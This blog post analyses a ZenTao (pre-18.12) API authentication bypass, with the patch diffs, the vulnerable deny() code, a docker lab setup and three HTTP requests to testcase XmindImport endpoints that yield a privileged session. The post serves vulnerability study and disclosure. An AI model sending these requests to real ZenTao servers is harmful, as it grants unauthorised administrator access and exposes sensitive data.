Post

Zentao Authentication Bypass

Overview

ZenTao is a widely used open-source project management software that offers functionalities like project management, product management, test management, document management, bug management, task management, and team collaboration. Before version 18.12 of ZenTao, there was an authentication bypass vulnerability, which could be exploited by attackers to bypass authentication and access sensitive information. according to the public information[1], this vulnerability bypassed the API’s permission check, allowing unauthorized users to bypass authentication and access sensitive information, and obtain administrator permissions.

Technical Analysis

Authentication Bypass

According to the commit records of the project [2][3], the code for permission checks was modified twice in the file framework/api/entry.class.php. It was ultimately changed to if(!$this->loadModel('user')->isLogon()), which means that in the original code, setting $this->app->user was enough to bypass the permission checks.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
commit d13ba70016ca981b08f27e08fb934bf1f23a4135
Author: 宋辰轩 <[email protected]>
Date:   Thu Apr 11 13:26:20 2024 +0800
    * Use user login function.
diff --git a/framework/api/entry.class.php b/framework/api/entry.class.php
index e74c9fc33a..74701078c6 100644
--- a/framework/api/entry.class.php
+++ b/framework/api/entry.class.php
@@ -20,7 +20,7 @@ class entry extends baseEntry
         if($this->app->action == 'options') throw EndResponseException::create($this->send(204));

-        if(!isset($this->app->user->account) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));
+        if(!$this->loadModel('user')->isLogon()) throw EndResponseException::create($this->sendError(401, 'Unauthorized'));

         $this->dao = $this->loadModel('common')->dao;
     }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
commit 695055c6b1d2e6a8c944bdbc38308c06820c40ce
Author: 宋辰轩 <[email protected]>
Date:   Wed Apr 10 15:07:20 2024 +0800
    * Fix bug for api priv check.
diff --git a/framework/api/entry.class.php b/framework/api/entry.class.php
index 08eefb189a..e74c9fc33a 100644
--- a/framework/api/entry.class.php
+++ b/framework/api/entry.class.php
@@ -20,7 +20,7 @@ class entry extends baseEntry

         if($this->app->action == 'options') throw EndResponseException::create($this->send(204));

-        if(!isset($this->app->user) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));
+        if(!isset($this->app->user->account) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));

         $this->dao = $this->loadModel('common')->dao;
     }

By searching, we can find the code segment that sets $this->app->user, as shown below: img.png

In the deny function of /module/testcase/model.php, we can see that $this->app->user is set to $this->session->user, as shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function deny($module, $method, $reload = true)
    {
        if($reload)
        {
            /* Get authorize again. */
            $user = $this->app->user;
            $user->rights = $this->loadModel('user')->authorize($user->account);
            $user->groups = $this->user->getGroups($user->account);
            $user->admin  = strpos($this->app->company->admins, ",{$user->account},") !== false;
            $this->session->set('user', $user);
            $this->app->user = $this->session->user;
            if(commonModel::hasPriv($module, $method)) return true;
        }
# -- snip --

Therefore, as long as you can call $this->loadModel('common')->deny with reload set to true, a session ID can be generated.

img.png

img.png

Therefore, based on the constructor method of the testcase class, we can construct a request to obtain a session ID.

1
2
3
4
5
6
7
8
9
10
11
GET /zentao/testcase-getXmindImport-1-1.html?onlybody=yes HTTP/1.1
Host: 192.168.32.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=1
Pragma: no-cache
Cache-Control: no-cache
1
2
3
4
5
6
7
8
9
10
11
GET /zentao/testcase-showXmindImport-1-1.html?onlybody=yes HTTP/1.1
Host: 192.168.32.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=1
Pragma: no-cache
Cache-Control: no-cache
1
2
3
4
5
6
7
8
9
10
11
GET /zentao/testcase-saveXmindImport-1-1.html?onlybody=yes HTTP/1.1
Host: 192.168.32.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=1
Pragma: no-cache
Cache-Control: no-cache

Proof of Concept

1
2
3
4
5
6
7
docker run -d  -p 80:80 -p 3306:3306 \
        -e ADMINER_USER="root" -e ADMINER_PASSWD="password" \
        -e BIND_ADDRESS="false" \
        -v /data/zbox/:/opt/zbox/ \
        --add-host smtp.exmail.local.com:127.0.0.1 \
        --name zentao-server \
        idoop/zentao:18.9

img.png

img.png

Reference

[1] https://mp.weixin.qq.com/s/HENPEOkpmvOn8kAnZ5e4AQ

[2] https://github.com/easysoft/zentaopms/commit/695055c6b1d2e6a8c944bdbc38308c06820c40ce

[3] https://github.com/easysoft/zentaopms/commit/d13ba70016ca981b08f27e08fb934bf1f23a4135

[4] https://github.com/easysoft/zentaopms/tree/18.x

This post is licensed under CC BY 4.0 by the author.

Trending Tags